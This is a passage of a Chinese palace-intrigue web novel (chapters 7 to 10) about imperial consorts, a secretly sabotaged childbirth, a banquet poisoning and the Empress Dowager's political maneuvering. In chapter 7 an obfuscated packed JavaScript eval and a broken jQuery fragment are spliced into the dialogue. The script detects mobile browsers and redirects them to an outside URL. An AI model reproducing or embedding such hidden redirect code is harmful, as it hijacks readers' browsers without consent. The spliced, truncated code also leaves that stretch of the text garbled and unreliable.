“此局虽漏洞百出如儿戏，太后却达成了目的……”谢停云捋须沉吟，目光掠过年轻帝王眉宇间那抹尚未完全褪去的沉郁，心中微叹。 太后与康王敢如此肆无忌惮，正是看准了陛下登基不过两年，根基未稳。他们是在用这种方式告诉满朝文武：这个二十四岁的年轻人，还不足以掌控全局。 他捋须沉吟： “曹家与夏家是否勾结已不重要。此事一出，夏翀被污名化、公信力大跌，举子们必视其为曹党。” “只是夏翀，里外不是人，这阅卷官，难做了。 “太后用段婕妤一条废棋，束住夏翀手脚，重创曹家，压制住了陇西曹氏欲脱离康王府的野心。换下了不得力的段婕妤，更打乱了陛下培植新的用人集团的计划，可谓一石数鸟。” “老师觉得，朕输了？” “削藩，道阻且长。”谢停云抬眼，望向窗外渐起的暮色：“风既起了，且看它能吹出多少尘埃。” 当夜，皇后懿旨颁下： “段氏心术不正，嫉恨成性，构陷妃嫔，扰乱宫闱，罪证确凿……念其侍奉日久，赐自尽，保留全尸。宫女青黛，同罪赐死。” “贤妃曹氏，御下不严，有失妇德，纵容身边人干预科场，难辞其咎……闭宫静思己过。” “婉昭仪夏氏受惊，特赏东海珍珠一斛，苏缎十匹，安心静养。” 处置干净利落。段婕妤顶下所有罪责，贤妃失了孩子却保住了位份，夏清圆得了安抚。 ——真相不重要，利益和平衡才重要。 消息传至慈安宫，太后闭目捻着佛珠。 肃月嬷嬷低声道：“段婕妤……已经‘自尽’了。” “德妃长进了。”太后捻动佛珠的手指未停，只淡淡道。 临华宫内，夏清圆听着荔枝的回禀，看着眼前的赏赐，心底却一片冰凉。 小禄子、段婕妤、贤妃失子……这一条条人命与算计，又轻又重。 她端起那盏早已凉透的茶，指尖与杯壁一样冰冷。 喃喃自语：“我现在，太被动了。” 7. 皇权 酉时已过，资善堂内灯火通明。大皇子萧昀的脊背绷得笔直，握着笔的手却因久练而微微发颤，连带心神也涣散开来。 写一笔，目光便悄悄溜向上首——皇后正垂眸审阅各宫账册，侧影在灯下沉静如雕。 “母后……”他忍不住小声唤道，盼着能得一句“歇息”。 皇后正批阅各宫月例账目，视线落在贤妃宫的用度上，眉头不由一蹙。 ——这般奢靡，着实逾矩了。 旋即想起皇帝前日“按贵妃例优待”的口谕，她指节按了按眉心，对郁嬷嬷吩咐，声音里听不出情绪：“传本宫旨意，贤妃养病期间，月俸翻倍。” 她是中宫，须得与帝王同心。即便……心意难平。 余光瞥见儿子偷懒，她声线一沉：“昀儿，心要定。” 门外人影一晃，郁嬷嬷适时附耳：“主子，金忠回来了。” 皇后神色一敛，看了眼仍在用功的儿子，对秋霜道：“看好大皇子。” 随即起身，裙裾无声拂过地面，带着郁嬷嬷转向偏殿。 金忠是冯国公府的家生仆人，随皇后入宫，净身为奴，是她最隐秘的心腹。他一身便装，斗篷裹着风尘，显是刚自宫外潜回。 “娘娘，事已办妥。”他低声道，“季太医的家眷已送出城，安置在府上庄子里，国公爷派了得力人看着，请您放心。” 广袖之下，皇后的手悄然攥紧。这是她第一次，对萧翊的旨意阳奉阴违。 从前，她纵使忌惮贤妃，也从未动过皇嗣的念头。可小禄子一案，皇帝对贤妃那片刻的怜惜，如同冰锥刺醒了她——那个孩子，绝不能留。 曹家根深叶茂，冯国公府却已显青黄不接之势。她在家世上已输一着，绝不能再让贤妃诞下皇子，与她分庭抗礼，更不能让昀儿的储位，生出丝毫威胁。 段婕妤那不管不顾的一撞，不过是给了她一个顺水推舟的契机。让季太医稍稍拖延产程，便足以…… 金忠从怀中取出一枚小小的玉环，“这是从季太医幼子身上取下的，以此为信，他不敢多言。” 皇后看着那枚刻着幼子姓名玉环，指尖微微一颤。拿孩童为人质，她竟要如此地不折手段？ 但这念头只一闪而过。她旋即恢复了平静，将玉环收入袖中。 “告诉季太医，”她的声音没有一丝波澜，“贤妃产后体虚，需用重药。若有人问起，便是亏损严重，调养必然。” 她定了定翻涌的心绪，声音平稳：“父亲还有何话？” “国公爷只嘱娘娘万事谨慎。”金忠抬眼，小心观察皇后神色，补充道，“另……请娘娘为二小姐留意一门好亲事。” 果然，皇后眼底那点温度骤然冷却，唇角牵起一丝罕见的刻薄：“一个外室养的庶女，还想攀什么高枝？” “儿臣给父皇请安！”殿外忽传来萧昀雀跃的声音。 皇后神色瞬间柔和，举步迎出，“臣妾参见皇上。” 萧翊正拿着大皇子的字端详，指尖在笔画薄弱处轻轻一点：“腕力不足。” 垂眸对上儿子瞬间黯淡的眼神，他语气一转，带了些许笑意：“不过，朕在你这个年纪，字迹尚不及你工整。” “谢父皇！”大皇子立刻眉开眼笑。 萧翊的目光落在一旁慈眉善目的皇后身上，难得温存地拍了拍她的手，“近日事多，你也辛苦了。” 这份温情突如其来，皇后素来自持，最厌妃嫔矫揉作态，此刻四周宫人环伺，她更不肯放下身段软语承欢。 掌心传来的温度让她脸颊微热，竟下意识地将手抽出，规规矩矩地屈膝一礼：“此乃臣妾本分，皇上谬赞。” 礼数无可挑剔，气度雍容持重，却也将那片刻的温情驱散得无影无踪。 萧翊近日因贤妃之事，想起旧事，生了几分舐犊之情和难得松懈的倦意。今日得闲，便想说些无关江山社稷的闲话。 贤妃处凄苦、德妃处沉闷、姜宝林等新人他又懒得应对，他便散步到了凤仪宫。 他满腹那些想要倾吐的、关于御花园新开的早梅或是一首小词的闲情，此刻都像不合时宜的柳絮，被这公事公办的劲风，吹得七零八落，哽在喉间，吐不出，也咽不下。 最终，他也只是直起身，脸上那点松弛的笑意悄然褪去，恢复了君王惯有的、深不可测的平静。 他又揉了揉大皇子的额发，淡淡道：“明日到御书房来，朕教你运笔。” 皇后浑然未觉自己掐灭了什么，只为儿子得了青眼而欣慰，对着那玄色背影恭敬道：“臣妾恭送皇上。” 萧翊屏退仪仗，独行于落叶堆积的宫苑小径，只允吴全顺远远跟着。 无人相伴，思绪便不由自主地转向朝政，想起了夏翀。 他其实欣赏夏翀的脾性，清高文人骨子里难得的酒气与热肠，在这朝堂上是稀罕物。 只可惜，此人面对皇权，总如惊弓之鸟，稍遇风雨便想缩回自己的壳里。 若非如此，他此刻倒真想宣他进宫，对月小酌，暂忘机心。 思绪飘忽间，脚步已循着心意，停在了临华宫外。他摆手止住吴全顺的通传，推门径入。 此处布局不似别处开阔，回廊九曲，源自前朝那位偏爱江南韵味的宠妃。廊檐下悬着的宫灯在晚风中轻摇，投下暖黄光晕。 光晕之中，只见夏清圆裹着一件雪白的狐皮大氅，整个人蜷在摇椅里，像只贪暖的猫儿，睡得正沉。夜风拂过，吹散了他满身的疲惫与算计。 他放轻脚步，近乎无声地靠近，从她松垂的手中抽走那卷书——竟不是话本，而是《汉书·外戚传》。 “荔枝，别闹……”她嘟囔着转醒，待朦胧睡眼看清眼前人，惊得险些从椅上弹起来，却被萧翊顺势揽入怀中。 “现学现卖？”萧翊无需多想，便知她是被前番风波吓着了，在此恶补功课。 夏清圆垂眸，长睫掩去眼底翻涌的情绪。 将脸埋在他胸前龙纹刺绣上，声音闷闷的，带着鼻音：“臣妾……有点后悔进宫了。” 她这般姿态，恰好取悦了萧翊。他明知故问：“为何？” “当初只想着，宫里有穿不完的绫罗绸缎，吃不尽的山珍海味……”她竟直言不讳，顿了顿，声音渐低，宛若耳语，“还有……皇上。” 她抬眸，水光潋滟的眸子细细描摹他的眉眼，带着少女的羞涩与大胆：“皇上生得，比画本里的郎君还要好看。” 萧翊一怔，从未有人敢如此直白地品评他的容貌。 随即，便听她懊恼地轻叹：“真是色字头上一把刀。” 萧翊终于忍俊不禁，那笑声清朗，仿佛冰裂春溪，瞬间驱散了周遭的沉郁，连檐下的风灯都似乎随之轻晃。 夏清圆这样的娇憨坦白，竟无意间触动了，萧翊在别处得不到的——作为“人”，而非“皇帝”的情感需求。 “皇上还笑。”她吸了吸鼻子，手臂环住他紧实的腰身，“为着小禄子的事，臣妾连着几晚都没睡安稳。” 荔枝悄无声息地温了果酒呈上，斟满两盏，又悄然退下。 夏清圆执起一盏，自顾饮了，语气带着豁出去的娇蛮：“臣妾贱命一条，倒也不怕。只是担心宫里的风波，会牵连家里。” 她又拿起另一盏，递至萧翊唇边，眼波流转间带着小心翼翼的试探：“我爹是个书呆子，若知道这些，怕是魂都要吓飞了。” 萧翊看穿她这粗浅的试探，却不以为忤，反觉这父女间质朴的牵挂，在这深宫里显得珍贵而可爱。 “朕今日见到你父亲了。”他语带戏谑，“非但没吓破胆，胆子反倒见长。” 今日散朝，那个平日溜得最快的夏翀，竟扭捏着拉住吴全顺，旁敲侧击地打听女儿近况。 “宫廷自古便是如此，你念着的绫罗珍馐，是胜者才配享有的犒赏。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908784|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的声音沉静下来，带着一丝不易察觉的寥落，“若败了，便如朕的生母，骨肉离散，门庭凋零。” “朕确有意扶持夏家。”他目光如炬，看进她眼里，“但朕的耐心有限。若夏翀依旧畏缩不前，朕会放弃夏家。” 他没有说出口的是，他的耐心，早在登基之初这两年与各方势力的周旋和妥协中，被磨得所剩无几。宝剑要出鞘，必须一击即中。 “若朕此刻放弃夏家……” “不会的！”夏清圆急声打断。 她连日里辗转反侧，明白了唯有皇权才是倚仗，忠诚与能力是夏家唯一的筹码。若此刻失去圣心，才是真正的万劫不复。 她解释道：“父亲毕生崇尚黄老，求个清静无为。但臣妾会让父亲明白，何为皇恩浩荡，何为……臣子的本分” 他没有提及朝堂上的暗涌，只是看着她依旧苍白却明显坚韧了几分的面庞，淡淡道：“害怕了？” 夏清圆低头：“臣妾不敢。” 他抬手，微凉的指尖托起她的下颌，迫使她迎上他的目光。那目光深邃，锐利，仿佛能穿透皮囊。 “记住此刻的滋味。”他的声音低沉平缓，却重若千钧，“在这宫里，心可存仁，手，绝不能软。” 是夜，他留宿临华宫，未行云雨，只是将她拥在怀中。 夏清圆在他沉稳的心跳声里，第一次清晰地触摸到权力的轮廓——帝王的庇护与冷酷，本就是一体两面。 小禄子的尸身早已处理，水缸也换了新水。但那无形的血腥气，早已渗入临华宫的砖缝，也深深烙在了她的心上。 次日清晨。 裴氏推开书房门，只见夏翀瘫坐于地，官袍皱褶，仿佛一夜之间，苍老了十岁。他手中紧紧攥着的宫里送出来的信笺—— 父亲大人膝下敬禀： 宫闱深重，月华亦染寒霜。女儿提笔时，指尖犹颤，非畏风冷，实乃心寒。今时今日，方知往昔依于父亲膝下，听您笑谈“平安是福”，竟是世间最奢侈光阴。 短短数月，女儿身侧，已枉送两条人命。 一为内侍小禄子，溺毙于宫苑琉璃缸中，尸身僵白；一为段婕妤，构陷女儿未成，服毒自尽，香消玉殒。 贤妃娘娘因此痛失幼女，哀毁骨立。凤仪宫内，证据直指，刀锋皆向女儿与父亲而来，其间凶险，女儿思之后怕，至今如履薄冰。 父亲，我们夏家，已退无可退，亦让无可让！ 皇后娘娘虽明察，暂保女儿无恙。然幕后之人，其意岂在女儿一介宫妃？ 其剑锋所向，实乃父亲！彼等构陷父亲与曹氏勾结，污您“买爵鬻官”之清名，非为坐实罪状，而是要让您在前朝，在天下士子面前，寸步难行！ 您此时若再言“致仕”、“归乡”，在世人眼中，非是淡泊，而是畏罪潜逃！届时，夏家清誉扫地，兄弟与长姐前程尽毁，女儿在宫中，更如无根浮萍，唯有任人宰割，死无葬身之地！ 父亲，您常教女儿，读书人当有风骨。何为风骨？ 是于太平时明哲保身，还是于危难时，挺身而出，为所当为？ 皇上力排众议，擢父亲于微末，此乃知遇之恩，更是将整顿科场、遴选良才之重任，托于父亲之手！您若退缩，寒的不只是圣心，更是天下寒门士子殷切期盼之心！ 我们夏家，已被推至风口浪尖。退，则粉身碎骨；进，尚有一线生机。 此一线生机，不在别处，仅在皇上身上！唯有紧紧依附皇权，效忠陛下，我们父女二人，一在前朝，一在后宫，方能互为犄角，于这龙潭虎穴中，挣出一条生路！ 女儿在此深宫，如临深渊，如履薄冰。父亲，您忍心见女儿独面豺狼，而无娘家一丝声援么？ 女儿泣血顿首，伏惟父亲明鉴。 女清圆叩上 窗外，天光微亮。 夏家“平安是福”的时代，在这一刻，正式宣告终结。 8. 善缘 十一月初十，康王次女段云柔入宫，敕封兰婕妤。 十日后，孔雀坞中的白孔雀开了屏，太后以共赏祥瑞为名，在宫中设宴。 临华宫内，夏清圆对镜整理着胭脂色宫装上的璎珞绦带，指尖无意识地反复摩挲着那枚羊脂玉坠。 自从半月前那封家信送出后，父亲那边始终杳无音信。这份沉寂像蛛网般缠绕在心间，让她连呼吸都带着几分不安。 "主子，夫人和裴夫人已经到了宫门外。"荔枝轻声通传。 夏清圆立即起身，连披风都来不及系，提着裙摆便快步迎了出去。 院门外，裴氏正与一位面容和善的妇人低声交谈。见到女儿，裴氏眼中闪过泪光，却仍规规矩矩地行礼："臣妇参见昭媛娘娘。" 范氏也跟着行礼，动作标准得挑不出错处。 夏清圆眼眶一热，连忙上前扶起二人："娘亲、舅母何须如此。" 她引着二人穿过庭院。初冬的阳光透过光秃的枝桠，在青石板上投下斑驳的影子。廊下的菊花已谢，只剩几株残枝在寒风中轻颤。 花厅内，炭火烧得正旺。荔枝奉茶后便领着宫人退下，细心地合拢殿门。 裴氏这才得以细细端详女儿，见她气色尚佳，眉眼间也不见愁苦，悬着的心稍稍放下，温声道：“瞧着没瘦，精神头倒比在家时足了些。” “还有半个时辰便要去慈安宫给太后请安，时间紧迫，舅母便长话短说了。”范氏生就一张满月脸，平日里总带着三分笑意，此刻神色却郑重起来，“你舅舅有几句话，托我务必带到。” 她取出一封素笺，推到夏清圆面前，“裴家虽不比往昔，但先人在太医院经营多年，总还有些香火情分。这上面记着的，都是曾与裴家结过善缘的旧人，你身在宫中，或可斟酌取用，总好过孤立无援。” “舅母……”夏清圆握着那薄薄的纸笺，只觉得有千钧之重，喉间哽咽，“清圆……谢过舅舅舅母。” “一家人不说两家话。”范氏拍了拍她的手，语气愈发凝重，“皇上的用意，我们明白。从今往后，裴家与夏家，便是一荣俱荣，一损俱损。此外，还有一桩旧事，你舅舅千叮万嘱，定要让你知晓。” 她压低了声音：“当年先帝膝下三子，嫡出的武仁太子与幼子瑞王皆为当今太后所出，皇三子，便是今上，生母乃是位份不高的宋贵人。” “五年前，文德三十一年，武仁太子于东宫药膳中中毒身亡，裴家便是在那时因救治不力、获罪被贬。” 夏清圆听得心神俱震，一个模糊而惊人的念头不受控制地浮上心头——若非武仁太子早夭，今日龙椅上坐着的…… 她下意识地脱口而出：“那下毒之人莫非是……” “慎言！”裴氏脸色骤变，一把掩住女儿的嘴，语气是从未有过的严厉，“此事关乎国本，断不可再妄加揣测！” 范氏亦安抚地握住夏清圆微凉的手，低声道：“与你提及此事，是怕太后因这段旧怨迁怒于你，你心中需得有数。” 正说话间，殿外忽然传来内侍清越的通传声：“皇上驾到——！” 裴氏面上瞬间掠过一丝慌乱，范氏却似早有预料，从容地整理了一下衣襟，随夏清圆一同趋步迎出，敛衽下拜：“臣妇/民妇，参见皇上，恭请圣安。” “二位夫人免礼。”萧翊今日着一身银白色暗纹常服，玉冠束发，少了几分朝堂上的凛冽威仪，但那通身的压迫感却并未减少分毫。 他目光掠过范氏，语气平和：“多年未见裴老太医，他老人家身子可还康健？” 范氏垂首，声音沉稳中带着一丝不易察觉的哽咽：“回皇上，家翁已于前年腊月初八仙逝。劳皇上挂念，民妇代裴家满门，叩谢天恩。” 说罢，她竟端端正正地行了一个大礼，额角触地：“家翁在世时，常感念文德三十一年皇上出手相救之恩。只恨家门凋零，无以为报。今日得见天颜，民妇代家翁、代裴氏全族，谢皇上当年保全之恩！” 夏清圆心中讶异，不曾想还有这般渊源，也连忙跟着深深拜下：“臣妾亦代外祖一家，谢过皇上恩典。” 萧翊伸手，亲自将夏清圆扶起，指尖在她臂弯处微微一顿，随即松开。“文德三十年，先帝嫔妃宋氏于冷宫染疾，无人敢医，是裴老太医施以援手。” 他语气淡然，仿佛在说一件微不足道的小事：“裴老太医医者仁心，朕，一直感念。” 这桩秘辛，连范氏都是首次听闻，面上不禁也露出惊诧之色。 “原来如此，”夏清圆仰起脸，眸中光华流转，唇角漾开笑意，“竟是这样结下的善缘。” “今岁太医院甄选，朕并未见到裴氏子弟的名字。”萧翊话锋一转。 范氏恭声回禀：“裴家曾获罪于先帝，按律，子孙三代不得参与甄选。” “五年了……”萧翊沉吟片刻，对侍立一旁的吴全顺道：“传朕旨意，文德三十一年武仁太子旧案所涉太医，情有可原，着即日起，一概赦免，悉复其身。已故者准归葬故里，在世者免其罪责，准其子孙依制参选太医院考绩。” “民妇……叩谢皇上天恩！”范氏声音微颤，再次深深拜下。 裴氏与范氏强抑着激动，随吴全顺退出殿外。 “你待如何谢朕？”萧翊好整以暇地看向夏清圆，眉梢微挑。 “皇上……”夏清圆鼻尖一红，刚唤出声，泪珠便断了线似的滚落下来。 她几步小跑过去，一头扎进他怀里，声音闷闷的，带着鼻音：“臣妾不会说那些漂亮话……臣妾就跟您拉钩——往后，臣妾全心全意，用一辈子，好好还您这份恩情……” 与临华宫的和暖气氛不同，储秀宫内却是愁云惨淡，连空气都凝滞着化不开的药味与哀戚。 素日里最爱鲜亮颜色的贤妃，今日却穿了一身极为素净的月白宫装，不施粉黛，恹恹地倚在窗边软榻上，望着窗外凋零的枯枝出神。 其母李氏见状，心中酸楚，拿起一旁早已备好的莲红色蹙金凤尾裙，柔声劝道：“我的儿，孩子已经没了，万不能再丢了心气儿。听娘的话，换上这身，今日宫宴，断不能让人看了笑话去。” “我爹究竟如何说？难道我孩儿的性命，就这般白白断送了吗？段氏那个贱人！她怎会有如此大的胆子，敢明目张胆地害我女儿！” 贤妃猛地转过头，眼中是蚀骨的恨意与痛楚，“若非有人在背后撑腰，她安敢如此！” “陇西宗族已给你父亲递了话，此刻绝不能与太后一系撕破脸皮。” 李氏握住女儿冰凉的手，循循善诱，“眼下，曹家仍需倚仗康王的势力。你需得尽快调养好身子，若能诞下皇子，日后方能另做打算。” “那我的女儿呢？她就这般白死了吗？”贤妃根本听不进这些权衡利弊，泪水潸然而下。 “好在，只是个公主，于大局无碍……”李氏话未说完，贤妃已悲愤交加，猛地一挥袖，将妆台上的胭脂水粉扫落在地，发出一阵刺耳的碎裂声。 李氏叹了口气，对身旁心腹宫女使了个眼色。不多时，一位身着素净布衣、眉眼沉静的女医低着头走了进来。 “ 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“妇人生产本就是过鬼门关，产后虚弱也是常情，仔细调养些时日便好了。”李氏在一旁宽慰道。 其兰却缓缓收回手，神色凝重：“娘娘，请恕民妇直言。观您脉象，产后虚损非同一般，似有隐疾在内。敢问娘娘，当日生产之时，可是异常艰难？是否感到过莫名的躁热或寒冷？意识是否时而清醒时而模糊？” 这句话仿佛瞬间刺破了贤妃强自压抑的悲痛，她眼圈骤然红了，断断续续地回忆起来： “段氏撞了本宫以后，仍有胎动。但痛了整整一夜，怎么用力都不成……喝了几碗药，说是喝了才有力气……可我觉得，喝了那药反而更加昏沉无力，迷迷糊糊的，只觉得孩子在肚子里动得越来越轻，越来越慢……” “太医与接生嬷嬷可都尽心？有无异常？”其兰又问。 “本宫的脉案一向由季太医负责，他很是尽心，想来并无异样。” 贤妃凝神，忽然想起一个细节，声音带着恐惧的颤抖：“我当时痛得恍惚，记不清了。只隐约感觉有感觉胎动向下，可服药之后，胎动却渐渐停住了，当时未曾深想……” “药渣呢？”其兰立刻追问。 “本宫当时顾不得那些。想是按宫规，药渣皆由太医院专人收走，统一处置了。” 其兰面色沉静如水，声音却压得极低，唯有近前的贤妃与李氏能听见：“娘娘，请屏退左右。” 待宫人尽数退下，内殿之中只剩下她们三人，其兰方抬起眼，目光锐利：“娘娘，民妇不敢妄言，但您脉象虚涩交织，绝非单纯产后体虚，倒像是……被虎狼之药伤过根本。再结合您所言产程艰难、服药后反而无力的情况……” “如何！”贤妃脸色惨白，扶住桌角才勉强站稳，“你尽可说！本宫恕你无罪！” “脉象为内证，产程回忆为外证。”其兰冷静地分析，字字清晰，“娘娘所言，产程中被频繁喂药，却愈发无力，胎儿动静渐消……此乃药物延缓产程、耗竭母体与胎儿元气的典型症状！公主夭折，恐怕不是单单受外力撞击所致。” “你的意思是...有人在本宫生产时，下黑手？”贤妃连日沉浸在丧女之痛中，根本来不及细想。 如今被敲醒，后背骤然生出冷汗。 “时隔已久，证据湮灭，民妇……无法提供铁证。” 李氏踉跄一步，喃喃道：“能在深宫之中动用如此隐秘手段，控制产程，事后更能让太医口径一致，抹去所有痕迹……这幕后之人……” 9. 云柔 永安宫正殿静得能听见铜壶滴漏的声响，段云柔入宫已十日，皇上别说召幸，连面都未曾见过。 她住着先段婕妤的旧宫室，一样的婕妤位份，只多了一个“兰”字封号，其余种种，倒像是将那已死之人的影子，原封不动地覆在了她身上。 “二小姐，王府来信了。”贴身婢女乌鸢推门进来，见段云柔只穿着一身不显山不露水的天青色宫装，眉头便蹙了起来，“今日是太后特为二小姐设的宫宴，您穿得这般素净，怕是要被旁人压了风头去。” 她将信笺搁在妆台上——那信封的封口分明已被拆开过——转身便去衣橱里翻找，不多时捧出一套紫绡浮光广袖裙，“二小姐穿这套吧，蜀地贡的料子，阳光下有暗纹流转，最是华贵。” 段云柔瞥了一眼那信，目光收回，继续对镜描画眉梢。 铜镜里映出乌鸢忙碌的身影，她秋水般的眸子深处，一丝毒箭似的锋利极快地掠过，快得像是烛火跳动时的错觉。 开口时，声音却仍是轻轻柔柔，甚至带了几分气弱的轻咳：“就依你，穿这件吧。” “这才对。”乌鸢的娘是康王妃身边最得脸的大丫鬟，从前在王府时，她这贴身丫鬟的体面，有时竟比段云柔这个庶出小姐还要足些。 她念念有词：“王妃信里嘱咐了，只要二小姐得宠，王妃便立刻提拔梅姨娘为侧妃，风风光光。” “乌鸢，你爹娘如今可还在王府当差？”段云柔状似无意地问。 “那是自然。”乌鸢颇有些自得，“我家大弟弟也进府了，如今跟在王爷身边跑腿，将来前程大着呢。” 段云柔微微颔首，指尖掠过妆台上冰凉的珠钗：“康王府是好地方，你们一家子，前程都系在王府身上了。” “所以二小姐也得争气才是，叫奴婢也跟着沾光，出出风头。”乌鸢眼界不宽，只艳羡凤仪宫大宫女秋霜那通身的派头，劝道：“二小姐虽不能生育……但若能得皇上青眼，还愁没有孩子养在膝下承欢么？” 段云柔有“五不女”之疾，天生不能生育，这是王府里少数人才知的隐秘。 也正因如此，她从前不得看重，连最初入宫的机遇都错失了。 如今老天眷顾，又给了她这天赐良机，她偏要将这绊脚的缺陷，化作劈开身世束缚的利剑。 她打开妆匣底层，取出一小包蜀地独有的、价比金箔的紫矿胭脂，用小银匙细细舀出，倒入一个精致的掐丝珐琅盒中。用指甲拨弄着，又压实，轻轻阖上。 “乌鸢，将这盒胭脂给偏殿的姜宝林送去。” “紫矿胭脂这般贵重，给她岂不可惜？”乌鸢撇了撇嘴。 “正因贵重，她才不会推拒。”段云柔抬起脸，朝她浅淡一笑，那笑意却未达眼底，“我初来乍到，总该有些表示。” 乌鸢不情不愿地接过胭脂盒，嘴里仍嘟囔着：“二小姐若自己得了圣心，何必去巴结一个小小的宝林。” 慈安宫暖阁内，银丝炭烧得正旺，将深秋的寒意尽数阻隔在外。 暖阁里移来了各色珍品菊与晚开的芙蓉，花香馥郁，混着女子衣香鬓影，熏人欲醉。 太后与皇后尚未驾临，女眷们难得松泛，三三两两聚在一处，赏花闲谈，言语间皆是府邸间的趣闻或不着痕迹的攀比。 段云柔缓步移至姜宝林身侧，轻声细语：“妹妹可见过那位婉昭媛？不知是何等样人物？” “她？”姜宝林从鼻子里哼出一声，带着毫不掩饰的轻蔑，“长得也就那样，家世也不是什么显贵，真不知皇上瞧上她什么。” “能得圣心垂顾，必有过人之处。”段云柔语气温软，带着恰到好处的好奇与谦逊，“待会儿婉昭媛来了，还劳烦妹妹替我引见一二。” 夏清圆因伴驾稍迟了些，踏入暖阁时，除却太后与皇后，其余妃嫔命妇皆已落座。 她目光飞快扫过——贤妃曹氏虽面容憔悴了几分，一身桃红宫装却依旧明艳夺目，难得心气未堕。 看到独坐一隅的德妃，她想起前次之事，正欲上前道谢，却被一人拦住了去路。 “哟，婉昭媛可算是来了。”姜宝林斜刺里插过来，语调尖脆，“如今果然是不同了，架子比贤妃、德妃娘娘还大些。” 夏清圆素知她性子轻狂，懒得与她做口舌之争，只将目光落在她妆容精致的脸上，微微一笑：“妹妹今日这胭脂颜色极好，衬得人面若桃花。” 姜宝林闻言，不禁抬手轻抚腮畔，得意之色更浓：“这可是蜀地贡的紫矿胭脂，自然不同。” 她丹凤眼一挑，朝旁边示意，“喏，有人想结识你呢。” 夏清圆顺着她的视线望去，只见不远处坐着一道身影—— 那人静静坐在光影交汇处，像一轴被岁月浸得温润的宣纸古画。 眉是远山含黛，眼是秋水微垂，眸光清凌凌的，似深秋寒潭倒映着寂寥的天光，明明看着温婉柔和，却无端让人觉得那平静之下，藏着看不见底的幽深。 真真是画里走出的美人。 夏清圆素来对美人存着天然的好感，想近看，脚步不由跟着姜宝林移了过去。 还未近前，便听那美人已盈盈起身，嗓音如溪流漱玉：“妹妹段氏云柔，见过婉姐姐。” 段氏云柔？太后的侄女？ 夏清圆脑中立刻闪过段婕妤那张骄纵的脸，紧接着便是小禄子青白的尸体、冰冷的水渍…… 一股无形的寒气蓦地窜上脊背，方才那点因美貌而生的好感，顷刻间被吹得七零八落。 她面上不显，只略略颔首，语气疏淡有礼：“段婕妤多礼了。” 两人席位相邻。不多时，段云柔又悄然倾身靠近。 “婉姐姐。”她将姿态放得极低，与先前那位段婕妤的跋扈截然不同，声音轻得像怕惊扰了什么，“我一见姐姐，便觉亲近。只是未曾想……姐姐原是这般清冷的人。” “额…”夏清圆一阵头疼。 理智叫嚣着要远离与 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说罢，她举杯至额前示意，随即仰首，一饮而尽。喉间滑动，姿态决绝。 夏清圆看着被推到面前的酒盏，澄澈的酒液在琉璃盏中微微晃荡。 不喝，于礼不合，显得自己心胸狭窄，不依不饶。 喝……她一朝被蛇咬，十年怕井绳。对“段”这个姓氏实在心有余悸。 何况这宴上众目睽睽，若与段云柔公然对饮，落在有心人眼里，不知又要编排出多少是非。 正进退维谷，殿外忽然传来内侍清越悠长的通禀： “皇后娘娘驾到——” “太后娘娘驾到——！” 暖阁内霎时静寂，所有人离席伏地，山呼叩拜。 夏清圆顺势将手中酒盏轻轻搁回案上，随着众人一同俯身。 太后今日身着绛红蹙金宫装，虽年过半百，却神采奕奕，丝毫未见前番风波的影响。 她扶著皇后之手，缓步登上主位，目光温和地扫过下方：“都起来吧。今日设宴，只为共赏祥瑞同乐，不必拘着虚礼。” 众人谢恩起身，各自归座，气氛重新活络起来。 太后笑意加深，朝段云柔的方向招了招手：“云柔，到哀家身边来。” 段云柔应声而起，步履轻盈如莲移，唇边噙着一抹恰到好处的羞怯浅笑。 “哀家这侄女在蜀地长大，与京中人情不甚熟悉。”太后拉着她的手，对众人笑道。 段云柔垂眸浅笑，正欲开口谢恩—— 忽然，她身体几不可察地一晃。 紧接着，一丝暗沉发黑的血迹，毫无征兆地从她唇角缓缓渗出，在她苍白的面颊上划下一道刺目的红痕。 “呃……”一声压抑的闷哼从她喉间溢出。 在满殿骤然凝固的寂静与无数双惊骇目光的注视下，更多的黑血汹涌而出。纤弱的身躯晃了晃，如同断了线的傀儡般，向后软软倒去。 10. 金阱 未时刚过，瑞王下了学便直奔慈安宫请安。他今日穿了身石青色团花锦袍，步履轻快地跨过门槛：“儿子给母后请安。” 眼睛滴溜溜一转，他凑到太后身边，声音压得低低的，带着孩童特有的邀功神采：“听先生下朝回来说，今日皇兄在朝上发了好大的脾气，狠罚了江陵总督呢。” 太后正倚在紫檀嵌螺钿的暖榻上，手中握着卷蜀地送来的密折，闻言缓缓抬眼，目光落在瑞王稚气未脱的脸上：“为何？” 她并未看向瑞王，而是将视线转向侍立一旁的肃月。 肃月上前半步，垂首回禀：“回主子，江陵有一波入京赴考的举子聚在通政司衙门前闹事，状告南襄王在江陵强占民田、私扩藩邸。” “哀家还当是什么了不得的大事。”太后将书卷搁在膝上，唇角勾起一抹若有似无的讥诮。 她侧身检查瑞王今日的功课，指尖在宣纸上的字迹间轻轻划过，声音平淡无波：“江陵是大齐的龙兴之地，南襄王又是皇上的亲叔叔。那些书生闹得再凶，皇上也动不得宗室亲王，无非是拿江陵总督出来，做个样子给天下人看罢了。” 顿了顿，似乎想起什么，侧目看向肃月：“云柔怎么样了？” 肃月瞥了眼一旁正竖着耳朵听得入神的瑞王，略微迟疑，随即上前附在太后耳边，声音压低：“性命已无碍，只是……毒已入胞宫，伤了根本。” 她顿了顿，将最后几个字说得格外清晰，“太医已回禀皇后，兰婕妤日后恐难有子嗣了。” 太后搭在书卷上的手指几不可察地一顿。 暖阁内银丝炭烧得正旺，发出细微的“噼啪”声。窗外初冬的日头透过冰裂纹窗棂，在光洁的金砖地上投下菱形的光斑。 瑞王睁着圆溜溜的眼睛，看看太后，又看看肃月，显然没听清后面的话。 良久，太后才缓缓开口，声音里听不出喜怒：“她倒是……聪明。” 肃月垂首不语。她自然明白太后话中深意——段云柔身有“五不女”之疾，本就不能生育。 此事若被揭穿，便是欺君大罪。如今这一遭，倒将这天大的隐患，彻底遮掩过去了。 “皇后那边查得如何了？”太后端起手边温着的参茶，浅浅啜了一口。 